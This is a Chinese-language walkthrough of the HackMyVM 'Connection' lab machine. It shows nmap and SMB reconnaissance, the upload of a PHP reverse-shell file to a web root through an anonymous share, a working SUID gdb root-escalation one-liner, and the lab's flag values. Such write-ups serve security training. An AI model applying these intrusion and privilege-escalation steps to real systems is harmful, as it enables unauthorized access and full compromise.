HackMyVM-Connection

信息收集

arp

nmap

[put shell](#put shell)

提权

系统信息收集

[suid gdb提权](#suid gdb提权)

信息收集

arp

┌─[root@parrot]─[~/HackMyVM]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.115
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.116  08:00:27:6e:05:4c  PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.048 seconds (125.00 hosts/sec). 4 responded

nmap

端口扫描

┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -p- 192.168.9.116 --min-rate 10000 -oA ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:30 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds

服务版本扫描

┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -sC -sV -O -p 22,80,139,445 192.168.9.116 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:31 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00076s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_  256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time: 
|   date: 2024-04-16T08:31:13
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2024-04-16T04:31:13-04:00
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds

WEB

web信息收集

dirsearch

┌─[root@parrot]─[~/HackMyVM]
└──╼ #dirsearch -u http://192.168.9.116/ -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/HackMyVM/reports/http_192.168.9.116/__24-04-16_08-35-12.txt

Target: http://192.168.9.116/

[08:35:12] Starting: 

Task Completed

smbclient

┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient -L 192.168.9.116//
Password for [WORKGROUP\root]:
Anonymous login successful

  Sharename       Type      Comment
  ---------       ----      -------
  share           Disk      
  print$          Disk      Printer Drivers
  IPC$            IPC       IPC Service (Private Share for uploading files)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server               Comment
  ---------            -------

  Workgroup            Master
  ---------            -------
  WORKGROUP            CONNECTION

┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient \\\\192.168.9.116\\share
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep 23 01:48:39 2020
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  html                                D        0  Wed Sep 23 02:20:00 2020

    7158264 blocks of size 1024. 5460488 blocks available
smb: \> cd html
smb: \html\> ls
  .                                   D        0  Wed Sep 23 02:20:00 2020
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  index.html                          N    10701  Wed Sep 23 01:48:45 2020

    7158264 blocks of size 1024. 5460488 blocks available
smb: \html\> get index.html 
getting file \html\index.html of size 10701 as index.html (2612.5 KiloBytes/sec) (average 2612.5 KiloBytes/sec)
smb: \html\> 

这里应该是网站的根目录，我们下载html文件查看一下！

发现就是源文件！

put shell

我们尝试在此上传一个php反弹shell的木马！

smb: \html\> put shell.php
putting file shell.php as \html\shell.php (360.9 kb/s) (average 360.9 kb/s)
smb: \html\> ls
  .                                   D        0  Tue Apr 16 09:26:37 2024
  ..                                  D        0  Wed Sep 23 01:48:39 2020
  index.html                          N    10701  Wed Sep 23 01:48:45 2020
  shell.php                           A     2587  Tue Apr 16 09:26:37 2024

    7158264 blocks of size 1024. 5460480 blocks available
smb: \html\>

提权

系统信息收集

获取稳定的交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm

www-data@connection:/home/connection$ ls
ls
local.txt
www-data@connection:/home/connection$ cat local.txt
cat local.txt
3f491443a2a6aa82bc86a3cda8c39617
www-data@connection:/home/connection$ 

得到user.txt

www-data@connection:/home/connection$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/gdb
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpass

这里 gdb 被设置了为suid权限！

suid gdb提权

payload:

gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit

www-data@connection:/$ gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
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There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
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<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
sh-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

sh-5.0# cd /root
cd /root
sh-5.0# ls
ls
proof.txt
sh-5.0# cat proof.txt
cat proof.txt
a7c6ea4931ab86fb54c5400204474a39
sh-5.0#